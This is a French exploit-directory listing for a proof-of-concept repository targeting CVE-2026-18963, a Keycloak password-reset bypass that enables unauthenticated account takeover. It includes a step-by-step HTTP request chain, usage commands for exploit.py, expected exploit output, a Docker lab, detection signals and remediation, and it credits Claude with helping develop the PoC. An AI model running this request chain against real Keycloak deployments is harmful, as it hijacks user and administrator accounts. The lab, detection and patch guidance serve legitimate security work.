Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-18963-keycloak — Exploit de preuve de concept pour CVE-2026-18963, un contournement critique de la réinitialisation des identifiants Keycloak permettant la prise de contrôle de comptes sans authentification. Inclut la configuration d'un laboratoire, des recommandations de détection et des étapes de remédiation pour des tests autorisés. | Kitploit
Outils/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebAuthentificationApprentissage et Éducation
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Voir le dépôt
3il y a 18h 24mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Exploit de preuve de concept pour CVE-2026-18963, un contournement critique de la réinitialisation des identifiants Keycloak permettant la prise de contrôle de comptes sans authentification. Inclut la configuration d'un laboratoire, des recommandations de détection et des étapes de remédiation pour des tests autorisés.

Partager

CVE-2026-18963 — Contournement de la réinitialisation des identifiants Keycloak → Reprise de compte

Reprise de compte non authentifiée dans le flux de réinitialisation des identifiants de Keycloak. Un attaquant qui ne connaît qu'un nom d'utilisateur/e-mail peut réinitialiser le mot de passe de n'importe quel utilisateur — y compris les administrateurs — sans jamais recevoir l'e-mail de vérification.

CVE CVSS CWE License


⚠️ Avertissement — Usage éthique uniquement

Cette preuve de concept est publiée strictement à des fins éducatives, de recherche défensive, d'ingénierie de détection et de tests de sécurité autorisés.

  • Utilisez-la uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Accéder à des systèmes ou les modifier sans autorisation est illégal et contraire à l'éthique.
  • Il s'agit d'une ressource défensive/pédagogique destinée à aider les équipes à comprendre, détecter et corriger CVE-2026-18963 — et non à attaquer des tiers.
  • L'auteur (red-darkin) décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'activité illégale commise avec ce code. Vous êtes seul responsable de la façon dont vous l'utilisez et du respect des lois applicables.
  • En téléchargeant ou en utilisant ce dépôt, vous acceptez ces conditions. Si vous n'êtes pas d'accord, ne l'utilisez pas.
  • Voir DISCLAIMER.md pour la déclaration complète.


    Résumé

    CVECVE-2026-18963
    SévéritéCritique — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    FaiblesseCWE-640 — Mécanisme faible de récupération de mot de passe
    Versions affectéesKeycloak < 26.7.2 (amont). Également les flux de builds RH corrigés via les bundles 26.6.6 / 26.4.15
    Corrigé dansKeycloak 26.7.2 (PR #51844)
    Conditions préalablesForgot password (réinitialisation des identifiants) activé sur le realm — par défaut
    ImpactReprise totale du compte de n'importe quel utilisateur (y compris les administrateurs du realm) → compromission de l'IdP + accès SSO latéral

    Comment ça fonctionne — deux bugs enchaînés

    Le flux de réinitialisation du mot de passe (reset-credentials) vous oblige normalement à cliquer sur un lien envoyé par e-mail au propriétaire du compte avant de pouvoir définir un nouveau mot de passe. Deux failles permettent à un attaquant de contourner entièrement cette vérification :

    1. État « Essayer une autre méthode » non limité à l'exécution — le gestionnaire du sélecteur d'authentificateurs stocke la note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sans l'associer à l'ID d'exécution. Le fait de revenir dans le flux laisse la session d'authentification dans un état confus/périmé.
    2. Vérification du jeton absente à l'étape e-mail — ResetCredentialEmail.action() appelle context.success() sans vérifier ACTION_TOKEN_USER_ID (c.-à-d. sans confirmer que le jeton d'action envoyé par e-mail a réellement été consommé).

    Leur enchaînement fait avancer la session d'authentification directement jusqu'à l'étape UPDATE_PASSWORD pour un utilisateur arbitraire, sans qu'aucun e-mail ne soit requis.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
    GET  /login-actions/reset-credentials …              ── choose-user form
    POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
    POST …reset-credentials      username=<victim>       ── select user via selector
    GET  …/restart …                                     ── refresh session state
    GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
    POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER
    

    Voir docs/ROOTCAUSE.md pour le diff annoté du correctif.


    Démarrage rapide (lab)

    Vous avez besoin de Docker et de Python 3 avec requests.

    root@kitploit:~
    # 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
    ./run_lab.sh                 # uses keycloak/keycloak:26.5.0
    
    # 2) Run the exploit against the demo 'victim' user
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    Fin de sortie attendue :

    root@kitploit:~
    [7] *** update-password form served WITHOUT token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
    

    Connectez-vous ensuite avec victim / Pwned-2026! pour confirmer la reprise de compte.

    Contrôle négatif (corrigé)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # stops early — the update-password form is never served
    

    Utilisation

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       Keycloak base URL, e.g. http://127.0.0.1:8080
      --realm      target realm (default: master)
      --client     public client without PKCE (default: account)
      --victim     victim username or email
      --new-pass   password to set
      --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
      -k           skip TLS verification
    

    Chaque réponse HTTP est écrite dans ./dump/ pour inspection.


    Proxy via Burp

    Keycloak utilise déjà 8080, alors pointez l'écouteur de Burp sur un autre port (par exemple 8081) :

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    La chaîne de requêtes brutes pour Burp Repeater se trouve dans requests/burp-chain.txt.


    Détection

    Recherchez un changement de mot de passe qui n'a pas été précédé d'une vérification par e-mail dans la même session d'authentification :

    • Un événement UPDATE_PASSWORD sans VERIFY_EMAIL / EXECUTE_ACTION_TOKEN préalable pour cette session.
    • Des rafales de requêtes reset-credentials contenant tryAnotherWay=on.
    • De multiples retours sur login-actions/reset-credentials pour le même tab_id.

    Remédiation

    • Mettez à niveau vers Keycloak 26.7.2 (ou le flux de builds RH corrigé) — priorité absolue.
    • Atténuation temporaire : Paramètres du realm → Connexion → Mot de passe oublié = Désactivé.
    • Après le correctif : faites pivoter les identifiants administrateur, imposez une reconnexion après les réinitialisations et alertez sur les signaux de détection ci-dessus.

    Références

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • PR de correctif #51844 — https://github.com/keycloak/keycloak/pull/51844
    • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    Démo

    Une exécution complète est enregistrée dans CVE-2026-18963.mp4 (à la racine du dépôt).

    Crédits

    • red-darkin — reproduction en laboratoire, PoC et rédaction.
    • Claude (Anthropic) — aide à la recherche et au développement du PoC.

    Chaîne corroborée avec le correctif public de Keycloak (PR #51844) et les analyses de la communauté.

    Licence

    MIT © red-darkin — pour un usage éducatif et des tests autorisés uniquement.

    Télécharger l’outil